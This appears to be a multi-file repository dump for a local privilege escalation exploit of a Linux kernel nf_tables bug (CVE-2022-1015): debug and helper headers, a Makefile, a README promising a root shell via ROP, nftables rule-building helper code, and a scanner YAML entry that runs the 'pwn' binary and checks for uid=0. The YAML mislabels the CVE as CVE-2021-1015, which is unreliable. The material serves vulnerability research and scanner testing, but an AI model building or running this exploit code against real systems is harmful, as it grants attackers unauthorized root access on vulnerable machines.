|
||||
#define bgBLK ""
|
||||
#define bgRED ""
|
||||
#define bgGRN ""
|
||||
#define bgBRN ""
|
||||
#define bgBLU ""
|
||||
#define bgMGN ""
|
||||
#define bgCYA ""
|
||||
#define bgLGR ""
|
||||
#define bgGRA ""
|
||||
#define bgLRD ""
|
||||
#define bgLGN ""
|
||||
#define bgYEL ""
|
||||
#define bgLBL ""
|
||||
#define bgPIN ""
|
||||
#define bgLCY ""
|
||||
#define bgBRI ""
|
||||
|
||||
#endif /* ^USE_COLOR */
|
||||
|
||||
/*************************
|
||||
* Box drawing sequences *
|
||||
*************************/
|
||||
|
||||
#ifdef FANCY_BOXES
|
||||
|
||||
#define SET_G1 "\x1b)0" /* Set G1 for box drawing */
|
||||
#define RESET_G1 "\x1b)B" /* Reset G1 to ASCII */
|
||||
#define bSTART "\x0e" /* Enter G1 drawing mode */
|
||||
#define bSTOP "\x0f" /* Leave G1 drawing mode */
|
||||
#define bH "q" /* Horizontal line */
|
||||
#define bV "x" /* Vertical line */
|
||||
#define bLT "l" /* Left top corner */
|
||||
#define bRT "k" /* Right top corner */
|
||||
#define bLB "m" /* Left bottom corner */
|
||||
#define bRB "j" /* Right bottom corner */
|
||||
#define bX "n" /* Cross */
|
||||
#define bVR "t" /* Vertical, branch right */
|
||||
#define bVL "u" /* Vertical, branch left */
|
||||
#define bHT "v" /* Horizontal, branch top */
|
||||
#define bHB "w" /* Horizontal, branch bottom */
|
||||
|
||||
#else
|
||||
|
||||
#define SET_G1 ""
|
||||
#define RESET_G1 ""
|
||||
#define bSTART ""
|
||||
#define bSTOP ""
|
||||
#define bH "-"
|
||||
#define bV "|"
|
||||
#define bLT "+"
|
||||
#define bRT "+"
|
||||
#define bLB "+"
|
||||
#define bRB "+"
|
||||
#define bX "+"
|
||||
#define bVR "+"
|
||||
#define bVL "+"
|
||||
#define bHT "+"
|
||||
#define bHB "+"
|
||||
|
||||
#endif /* ^FANCY_BOXES */
|
||||
|
||||
/***********************
|
||||
* Misc terminal codes *
|
||||
***********************/
|
||||
|
||||
#define TERM_HOME "\x1b[H"
|
||||
#define TERM_CLEAR TERM_HOME "\x1b[2J"
|
||||
#define cEOL "\x1b[0K"
|
||||
#define CURSOR_HIDE "\x1b[?25l"
|
||||
#define CURSOR_SHOW "\x1b[?25h"
|
||||
|
||||
/************************
|
||||
* Debug & error macros *
|
||||
************************/
|
||||
|
||||
/* Just print stuff to the appropriate stream. */
|
||||
|
||||
#ifdef MESSAGES_TO_STDOUT
|
||||
#define SAYF(x...) printf(x)
|
||||
#else
|
||||
#define SAYF(x...) fprintf(stderr, x)
|
||||
#endif /* ^MESSAGES_TO_STDOUT */
|
||||
|
||||
/* Show a prefixed warning. */
|
||||
|
||||
#define WARNF(x...) \
|
||||
do { if (verbose) { \
|
||||
\
|
||||
SAYF(cYEL "[!] " cBRI "WARNING: " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} } while (0)
|
||||
|
||||
/* Show a prefixed "doing something" message. */
|
||||
|
||||
#define ACTF(x...) \
|
||||
do { if (verbose) { \
|
||||
\
|
||||
SAYF(cLBL "[*] " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} } while (0)
|
||||
|
||||
/* Show a prefixed "success" message. */
|
||||
|
||||
#define OKF(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(cLGN "[+] " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Show a prefixed fatal error message (not used in afl). */
|
||||
|
||||
#define BADF(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(cLRD "[-] " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die with a verbose non-OS fatal error message. */
|
||||
|
||||
#define FATAL(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(bSTOP RESET_G1 CURSOR_SHOW cRST cLRD \
|
||||
"\n[-] PROGRAM ABORT : " cRST x); \
|
||||
SAYF(cLRD "\n Location : " cRST "%s(), %s:%u\n\n", __func__, \
|
||||
__FILE__, __LINE__); \
|
||||
exit(1); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die by calling abort() to provide a core dump. */
|
||||
|
||||
#define ABORT(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(bSTOP RESET_G1 CURSOR_SHOW cRST cLRD \
|
||||
"\n[-] PROGRAM ABORT : " cRST x); \
|
||||
SAYF(cLRD "\n Stop location : " cRST "%s(), %s:%u\n\n", __func__, \
|
||||
__FILE__, __LINE__); \
|
||||
abort(); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die while also including the output of perror(). */
|
||||
|
||||
#define PFATAL(x...) \
|
||||
do { \
|
||||
\
|
||||
fflush(stdout); \
|
||||
SAYF(bSTOP RESET_G1 CURSOR_SHOW cRST cLRD \
|
||||
"\n[-] SYSTEM ERROR : " cRST x); \
|
||||
SAYF(cLRD "\n Stop location : " cRST "%s(), %s:%u\n", __func__, \
|
||||
__FILE__, __LINE__); \
|
||||
SAYF(cLRD " OS message : " cRST "%s\n", strerror(errno)); \
|
||||
exit(1); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die with FATAL() or PFATAL() depending on the value of res (used to
|
||||
interpret different failure modes for read(), write(), etc). */
|
||||
|
||||
#define RPFATAL(res, x...) \
|
||||
do { \
|
||||
\
|
||||
if (res < 0) \
|
||||
PFATAL(x); \
|
||||
else \
|
||||
FATAL(x); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Show a prefixed debug output. */
|
||||
|
||||
#define DEBUGF(x...) \
|
||||
do { if(verbose > 1) { \
|
||||
\
|
||||
SAYF(cMGN "[D] " cBRI "DEBUG: " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} } while (0)
|
||||
|
||||
/* Error-checking versions of read() and write() that call RPFATAL() as
|
||||
appropriate. */
|
||||
|
||||
#define ck_write(fd, buf, len, fn) \
|
||||
do { \
|
||||
\
|
||||
int _fd = (fd); \
|
||||
\
|
||||
s32 _len = (s32)(len); \
|
||||
s32 _res = write(_fd, (buf), _len); \
|
||||
if (_res != _len) RPFATAL(_res, "Short write to %s, fd %d", fn, _fd); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
#define ck_read(fd, buf, len, fn) \
|
||||
do { \
|
||||
\
|
||||
s32 _len = (s32)(len); \
|
||||
s32 _res = read(fd, buf, _len); \
|
||||
if (_res != _len) RPFATAL(_res, "Short read from %s", fn); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
#endif /* ! _HAVE_DEBUG_H */
|
|
@ -0,0 +1,90 @@
|
|||
#ifndef _HELPER_H_
|
||||
#define _HELPER_H_
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef void* kaddr_t;
|
||||
|
||||
#define U8_MAX ((u8)~0U)
|
||||
#define S8_MAX ((s8)(U8_MAX >> 1))
|
||||
#define S8_MIN ((s8)(-S8_MAX - 1))
|
||||
#define U16_MAX ((u16)~0U)
|
||||
#define S16_MAX ((s16)(U16_MAX >> 1))
|
||||
#define S16_MIN ((s16)(-S16_MAX - 1))
|
||||
#define U32_MAX ((u32)~0U)
|
||||
#define S32_MAX ((s32)(U32_MAX >> 1))
|
||||
#define S32_MIN ((s32)(-S32_MAX - 1))
|
||||
#define U64_MAX ((u64)~0ULL)
|
||||
#define S64_MAX ((s64)(U64_MAX >> 1))
|
||||
#define S64_MIN ((s64)(-S64_MAX - 1))
|
||||
|
||||
int urandom()
|
||||
{
|
||||
int r;
|
||||
int rand_fd = open("/dev/urandom", O_RDONLY);
|
||||
if (rand_fd < 0) {
|
||||
return r;
|
||||
}
|
||||
read(rand_fd, &r, sizeof(r));
|
||||
close(rand_fd);
|
||||
return r;
|
||||
}
|
||||
|
||||
void *memmem(const void *haystack, size_t haystack_len,
|
||||
const void *needle, size_t needle_len)
|
||||
{
|
||||
const char *begin = haystack;
|
||||
const char *last_possible = begin + haystack_len - needle_len;
|
||||
const char *tail = needle;
|
||||
char point;
|
||||
|
||||
/*
|
||||
* The first occurrence of the empty string is deemed to occur at
|
||||
* the beginning of the string.
|
||||
*/
|
||||
if (needle_len == 0)
|
||||
return (void *)begin;
|
||||
|
||||
/*
|
||||
* Sanity check, otherwise the loop might search through the whole
|
||||
* memory.
|
||||
*/
|
||||
if (haystack_len < needle_len)
|
||||
return NULL;
|
||||
|
||||
point = *tail++;
|
||||
for (; begin <= last_possible; begin++) {
|
||||
if (*begin == point && !memcmp(begin + 1, tail, needle_len - 1))
|
||||
return (void *)begin;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int memoff(const void *haystack, size_t haystack_len,
|
||||
const void *needle, size_t needle_len)
|
||||
{
|
||||
void *found = memmem(haystack, haystack_len, needle, needle_len);
|
||||
if (found) {
|
||||
return (int)(found - haystack);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
#endif /* _HELPER_H_ */
|
|
@ -0,0 +1,50 @@
|
|||
Id: CVE-2021-1015
|
||||
Belong: kernel
|
||||
Poc-hazard-level: low
|
||||
Source: https://github.com/pqlx/CVE-2022-1015
|
||||
SiteInfo:
|
||||
Name: Linux kernel 安全漏洞
|
||||
Severity: medium
|
||||
Description:
|
||||
Linux 内核存在安全漏洞,该漏洞源于在netfilter子系统的linux/net/netfilter/nf_tables_api.c中存在Linux内核的一个缺陷。 此漏洞允许本地用户导致越界写入问题。 攻击者可以通过nft_expr_payload触发 Linux 内核的内存损坏,从而触发拒绝服务,并可能运行代码。
|
||||
Scope-of-influence:
|
||||
v5.12~v5.17
|
||||
References:
|
||||
- http://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/
|
||||
- http://packetstormsecurity.com/files/169951/Kernel-Live-Patch-Security-Notice-LSN-0090-1.html
|
||||
- http://www.openwall.com/lists/oss-security/2022/08/25/2
|
||||
- http://www.openwall.com/lists/oss-security/2023/01/13/2
|
||||
- http://www.openwall.com/lists/oss-security/2023/02/23/1
|
||||
- https://bugzilla.redhat.com/show_bug.cgi?id=2065323
|
||||
- https://seclists.org/oss-sec/2022/q1/205
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
|
||||
CvssScore: 6.6
|
||||
CveId: CVE-2021-1015
|
||||
CweId: CWE-787
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 越界
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- inter:
|
||||
InterArgs :
|
||||
Exec : pwn
|
||||
Args :
|
||||
ExpireTime: 30 #second
|
||||
Inter:
|
||||
- ">.:[+] Press enter for root shell.." #等待输出'[+] Press enter for root shell..'
|
||||
- "<<:\n" #输入'\n'
|
||||
- ">.:uid=0(root) gid=0(root) groups=0(root)" #等待输出'uid=0(root) gid=0(root) groups=0(root)'
|
||||
- "<<:id\n" #输入'id\n'
|
||||
- ">?:uid=0(root) gid=0(root) groups=0(root)" #判断输出为'uid=0(root) gid=0(root) groups=0(root)'为成功
|
||||
Condition: None
|
||||
ReqCondition: true
|
||||
Matchers:
|
||||
Types:
|
||||
- dsl
|
||||
MatcherMap:
|
||||
dsl: check os
|
||||
Condition: None
|
|
@ -0,0 +1,12 @@
|
|||
objects = ./pwn.o ./helpers.o
|
||||
|
||||
.PHONY: clean pwn
|
||||
|
||||
pwn: $(objects)
|
||||
$(CC) $(objects) -lmnl -lnftnl -o pwn
|
||||
|
||||
./%.o: %.c
|
||||
$(CC) -c $(CFLAGS) -o "$@" "$<"
|
||||
|
||||
clean:
|
||||
rm -rf ./pwn.o ./helpers.o
|
|
@ -0,0 +1,29 @@
|
|||
# CVE-2022-1015
|
||||
|
||||
This repository contains a PoC for local privilege escalation of CVE-2022-1015, a bug in the `nf_tables` component of the linux kernel that I found. You can read a detailed analysis of this vulnerability and the exploitation strategy over at my [blog](https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/).
|
||||
|
||||
Right now, the exploit is a bit messy. Sorry!
|
||||
|
||||
## Affected versions
|
||||
|
||||
Kernels after commit 345023b0db31 (v5.12) but before commit 6e1acfa387b9 (v5.17) are vulnerable.
|
||||
|
||||
## Caveats
|
||||
|
||||
This exploit is extremely unlikely to pop a root shell for a given vulnerable kernel. You will have to experiment with chain hook locations (input vs output etc.), `nft_bitwise` address leak offsets, and ROP gadget and symbol offsets. I tested on 5.16-rc3+ and had to seriously change my exploit for a kernel build compiled with a different gcc version.
|
||||
|
||||
That said, with all the information given in my blog post I think altering the exploit for a given vulnerable kernel should be doable.
|
||||
|
||||
## Building instructions
|
||||
|
||||
Simply run `make`, and a `pwn` executable should pop up in the source dir. You will need `libmnl` and `libnftnl` developer packages, as well as linux headers of the target.
|
||||
|
||||
You can explicitly specify kernel headers to use with e.g. `make CFLAGS="-I/path/to/linux-tree/usr/include"`.
|
||||
|
||||
## Demo
|
||||
|
||||
[![](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H.svg)](https://asciinema.org/a/zIlTY7p1JRf0y4I8zbGLkpg6H)
|
||||
|
||||
## Licensing
|
||||
|
||||
This code is distributed under the Beerware license. I am not legally responsible for anything you do with it.
|
|
@ -0,0 +1,425 @@
|
|||
/*
|
||||
* ----------------------------------------------------------------------------
|
||||
* "THE BEER-WARE LICENSE" (Revision 42):
|
||||
* David Bouman (pql) wrote this file. As long as you retain this notice you
|
||||
* can do whatever you want with this stuff. If we meet some day, and you think
|
||||
* this stuff is worth it, you can buy me a beer in return. Signed, David.
|
||||
* ----------------------------------------------------------------------------
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
|
||||
#include <linux/netfilter.h>
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
#include <libmnl/libmnl.h>
|
||||
#include <libnftnl/table.h>
|
||||
#include <libnftnl/chain.h>
|
||||
#include <libnftnl/rule.h>
|
||||
#include <libnftnl/expr.h>
|
||||
#include "helpers.h"
|
||||
|
||||
static uint64_t default_batch_req_handler(struct mnl_socket* nl, int portid, int table_seq)
|
||||
{
|
||||
char buf[MNL_SOCKET_BUFFER_SIZE];
|
||||
|
||||
int ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
|
||||
|
||||
while (ret > 0) {
|
||||
ret = mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL);
|
||||
if (ret <= 0) break;
|
||||
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
int64_t send_batch_request(struct mnl_socket* nl, uint16_t msg, uint16_t msg_flags, uint16_t family, void** object, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
|
||||
char buf[MNL_SOCKET_BUFFER_SIZE];
|
||||
struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof buf);
|
||||
|
||||
uint8_t msg_type = msg & 0xff;
|
||||
uint8_t nft_type = (msg >> 8) & 0xff;
|
||||
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), (*seq)++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
int table_seq = *seq;
|
||||
struct nlmsghdr* nlh;
|
||||
|
||||
if (result_handler == NULL) {
|
||||
result_handler = default_batch_req_handler;
|
||||
}
|
||||
|
||||
nlh = nftnl_nlmsg_build_hdr(
|
||||
mnl_nlmsg_batch_current(batch),
|
||||
msg_type, family,
|
||||
msg_flags | NLM_F_ACK, (*seq)++
|
||||
);
|
||||
|
||||
switch(nft_type) {
|
||||
case NFT_TYPE_TABLE:
|
||||
nftnl_table_nlmsg_build_payload(nlh, *object);
|
||||
nftnl_table_free(*object);
|
||||
break;
|
||||
case NFT_TYPE_CHAIN:
|
||||
nftnl_chain_nlmsg_build_payload(nlh, *object);
|
||||
nftnl_chain_free(*object);
|
||||
break;
|
||||
case NFT_TYPE_RULE:
|
||||
nftnl_rule_nlmsg_build_payload(nlh, *object);
|
||||
nftnl_rule_free(*object);
|
||||
break;
|
||||
default:
|
||||
return -1; // will increment seq wrongly... no prob i guess
|
||||
}
|
||||
|
||||
*object = NULL;
|
||||
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
nftnl_batch_end(mnl_nlmsg_batch_current(batch), (*seq)++);
|
||||
mnl_nlmsg_batch_next(batch);
|
||||
|
||||
int ret = mnl_socket_sendto(
|
||||
nl,
|
||||
mnl_nlmsg_batch_head(batch),
|
||||
mnl_nlmsg_batch_size(batch)
|
||||
);
|
||||
|
||||
if (ret < 0) {
|
||||
perror("mnl_socket_send");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int portid = mnl_socket_get_portid(nl);
|
||||
|
||||
mnl_nlmsg_batch_stop(batch);
|
||||
|
||||
result_handler(nl, portid, table_seq);
|
||||
}
|
||||
|
||||
struct nftnl_table* build_table(char* name, uint16_t family)
|
||||
{
|
||||
struct nftnl_table* t = nftnl_table_alloc();
|
||||
|
||||
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family);
|
||||
nftnl_table_set_str(t, NFTNL_TABLE_NAME, name);
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param)
|
||||
{
|
||||
struct nftnl_chain* c;
|
||||
|
||||
c = nftnl_chain_alloc();
|
||||
|
||||
nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
|
||||
nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
|
||||
|
||||
if (base_param) {
|
||||
nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, base_param->hook_num);
|
||||
nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, base_param->prio);
|
||||
}
|
||||
|
||||
return c;
|
||||
|
||||
}
|
||||
|
||||
|
||||
struct nftnl_rule* build_rule(char* table_name, char* chain_name, uint16_t family, uint64_t* handle)
|
||||
{
|
||||
struct nftnl_rule* r = NULL;
|
||||
uint8_t proto;
|
||||
|
||||
r = nftnl_rule_alloc();
|
||||
|
||||
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
|
||||
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
|
||||
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, family);
|
||||
|
||||
if (handle) {
|
||||
nftnl_rule_set_u64(r, NFTNL_RULE_POSITION, *handle);
|
||||
}
|
||||
|
||||
return r;
|
||||
|
||||
}
|
||||
|
||||
// for some reason my editor does not recognize these
|
||||
#define NFTA_BITWISE_OP NFTA_BITWISE_XOR + 1
|
||||
#define NFTA_BITWISE_DATA NFTA_BITWISE_OP + 1
|
||||
|
||||
|
||||
void rule_add_bit_shift(
|
||||
struct nftnl_rule* r, uint32_t shift_type, uint32_t bitwise_len,
|
||||
uint32_t bitwise_sreg, uint32_t bitwise_dreg, void* data, uint32_t data_len)
|
||||
{
|
||||
|
||||
if(bitwise_len > 0xff) {
|
||||
puts("bitwise_len > 0xff");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("bitwise");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_SREG, bitwise_sreg);
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_DREG, bitwise_dreg);
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_OP, shift_type);
|
||||
nftnl_expr_set_u32(e, NFTA_BITWISE_LEN, bitwise_len);
|
||||
nftnl_expr_set_data(e, NFTA_BITWISE_DATA, data, data_len);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_memcpy(struct nftnl_rule* r, uint32_t len, uint32_t sreg, uint32_t dreg)
|
||||
{
|
||||
uint32_t data = 0;
|
||||
rule_add_bit_shift(r, NFTA_BITWISE_LEN, len, sreg, dreg, &data, sizeof(data));
|
||||
}
|
||||
|
||||
void rule_add_payload(struct nftnl_rule* r, uint32_t base, uint32_t offset, uint32_t len, uint32_t dreg)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("payload");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_cmp(struct nftnl_rule* r, uint32_t op, uint32_t sreg, void* data, size_t data_len)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("cmp");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTA_CMP_OP, op);
|
||||
nftnl_expr_set_u32(e, NFTA_CMP_SREG, sreg);
|
||||
nftnl_expr_set_data(e, NFTA_CMP_DATA, data, data_len);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_immediate_data(struct nftnl_rule* r, uint32_t dreg, void* data, size_t data_len)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
|
||||
e = nftnl_expr_alloc("immediate");
|
||||
|
||||
nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, dreg);
|
||||
nftnl_expr_set_data(e, NFTA_IMMEDIATE_DATA, data, data_len);
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
void rule_add_immediate_verdict(struct nftnl_rule* r, uint32_t verdict, char* chain_name)
|
||||
{
|
||||
struct nftnl_expr* e;
|
||||
e = nftnl_expr_alloc("immediate");
|
||||
|
||||
// dreg = 0 -> verdict
|
||||
nftnl_expr_set_u32(e, NFTA_IMMEDIATE_DREG, 0);
|
||||
|
||||
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, verdict);
|
||||
|
||||
if (verdict == NFT_GOTO || verdict == NFT_JUMP) {
|
||||
nftnl_expr_set_str(e, NFTNL_EXPR_IMM_CHAIN, chain_name);
|
||||
}
|
||||
|
||||
nftnl_rule_add_expr(r, e);
|
||||
}
|
||||
|
||||
|
||||
int create_table(struct mnl_socket* nl, char* name, uint16_t family, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
|
||||
struct nftnl_table* t = build_table(name, family);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWTABLE | (NFT_TYPE_TABLE << 8),
|
||||
NLM_F_CREATE, family, (void**)&t, seq,
|
||||
result_handler
|
||||
);
|
||||
}
|
||||
|
||||
int create_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
struct nftnl_chain* c = build_chain(chain_name, table_name, base_param);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
|
||||
NLM_F_CREATE, family, (void**)&c, seq,
|
||||
result_handler
|
||||
);
|
||||
}
|
||||
|
||||
/*
|
||||
int update_chain(struct mnl_socket* nl, char* chain_name, char* table_name, uint16_t family, struct unft_base_chain_param* base_param, int* seq, uint64_t (*result_handler)(struct mnl_socket*, int, int))
|
||||
{
|
||||
struct nftnl_chain* c = build_chain(chain_name, table_name, base_param);
|
||||
|
||||
return send_batch_request(
|
||||
nl,
|
||||
NFT_MSG_NEWCHAIN | (NFT_TYPE_CHAIN << 8),
|
||||
NLM_F_CREATE | NLM_F_REPLACE, family, (void**)&c, seq,
|
||||
result_handler
|
||||
;)
|
||||
}
|
||||
*/
|
||||
|
||||
struct child_proc {
|
||||
struct child_proc* next;
|
||||
pid_t pid;
|
||||
};
|
||||
|
||||
static struct child_proc *children;
|
||||
|
||||
|
||||
static void add_child(pid_t pid)
|
||||
{
|
||||
struct child_proc* child = malloc(sizeof *child);
|
||||
child->pid = pid;
|
||||
child->next = children;
|
||||
children = child;
|
||||
}
|
||||
|
||||
static void kill_children(int sig)
|
||||
{
|
||||
//printf("[pid=%d] killing children!\n", getpid());
|
||||
|
||||
struct child_proc* current_child = children;
|
||||
while (current_child) {
|
||||
kill(current_child->pid, SIGTERM);
|
||||
current_child = current_child->next;
|
||||
}
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
pid_t setup_listener(char* ip_string, uint16_t port, int (*handler)(int))
|
||||
{
|
||||
|
||||
int err;
|
||||
|
||||
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
|
||||
if (s < 0) {
|
||||
perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int reuse_addr = 1;
|
||||
|
||||
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &reuse_addr, sizeof reuse_addr);
|
||||
|
||||
struct sockaddr_in addr;
|
||||
inet_aton(ip_string, &addr.sin_addr);
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
err = bind(s, (struct sockaddr*)&addr, sizeof(addr));
|
||||
|
||||
if (err < 0) {
|
||||
perror("bind");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("Started listener on [%s:%d] (udp)\n", ip_string, port);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid) {
|
||||
// parent process
|
||||
add_child(pid);
|
||||
return pid;
|
||||
}
|
||||
|
||||
handler(s);
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
|
||||
}
|
||||
|
||||
int stop_listener(pid_t pid)
|
||||
{
|
||||
|
||||
if (kill(pid, SIGTERM)) {
|
||||
perror("kill");
|
||||
return -1;
|
||||
};
|
||||
|
||||
struct child_proc* next_child = children;
|
||||
struct child_proc* current_child = NULL;
|
||||
|
||||
while (next_child) {
|
||||
|
||||
if (next_child->pid == pid) {
|
||||
|
||||
struct child_proc** prev = current_child == NULL ? &children : ¤t_child;
|
||||
if (current_child == NULL) {
|
||||
prev = &children;
|
||||
} else {
|
||||
prev = ¤t_child;
|
||||
}
|
||||
|
||||
(*prev)->next = next_child->next;
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
current_child = next_child;
|
||||
next_child = next_child->next;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int connect_to(char* ip_string, uint16_t port)
|
||||
{
|
||||
int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
|
||||
if (s < 0) {
|
||||
perror("socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)");
|
||||
return -1;
|
||||
}
|
||||
struct sockaddr_in conn_addr;
|
||||
conn_addr.sin_port = htons(port);
|
||||
inet_aton(ip_string, &conn_addr.sin_addr);
|
||||
conn_addr.sin_family = AF_INET;
|
||||
|
||||
int err = connect(s, (struct sockaddr*)&conn_addr, sizeof conn_addr);
|
||||
if (err < 0) {
|
||||
perror("connect");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("Successfully connected to [%s:%hd] (udp)\n", ip_string, port);
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void hexdump(void* data, size_t len, unsigned int n_columns)
|
||||
{
|
||||
|
||||
uint8_t* bdata = data;
|
||||
|
||||
for (int i = 0; i < len; ++i) {
|
||||
printf("%.2hhx ", bdata[i]);
|
||||
|
||||
if ( (i+1) % n_columns == 0) {
|
||||
putchar('\n');
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,60 @@
|
|||
/*
|
||||
* ----------------------------------------------------------------------------
|
||||
* "THE BEER-WARE LICENSE" (Revision 42):
|
||||
* David Bouman (pql) wrote this file. As long as you retain this notice you
|
||||
* can do whatever you want with this stuff. If we meet some day, and you think
|
||||
* this stuff is worth it, you can buy me a beer in return. Signed, David.
|
||||
* ----------------------------------------------------------------------------
|
||||
*/
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
#define CLR_RED "\e[0;31m"
|
||||
#define CLR_GRN "\e[0;32m"
|
||||
#define CLR_RESET "\e[0m"
|
||||
|
||||
enum nft_types {
|
||||
NFT_TYPE_TABLE = 0,
|
||||
NFT_TYPE_CHAIN,
|
||||
NFT_TYPE_RULE
|
||||
};
|
||||
|
||||
struct unft_base_chain_param {
|
||||
uint32_t hook_num;
|
||||
uint32_t prio;
|
||||
};
|
||||
|
||||
|
||||
// build helpers
|
||||
struct nftnl_table* build_table(char* name, uint16_t family);
|
||||
struct nftnl_chain* build_chain(char* table_name, char* chain_name, struct unft_base_chain_param* base_param);
|
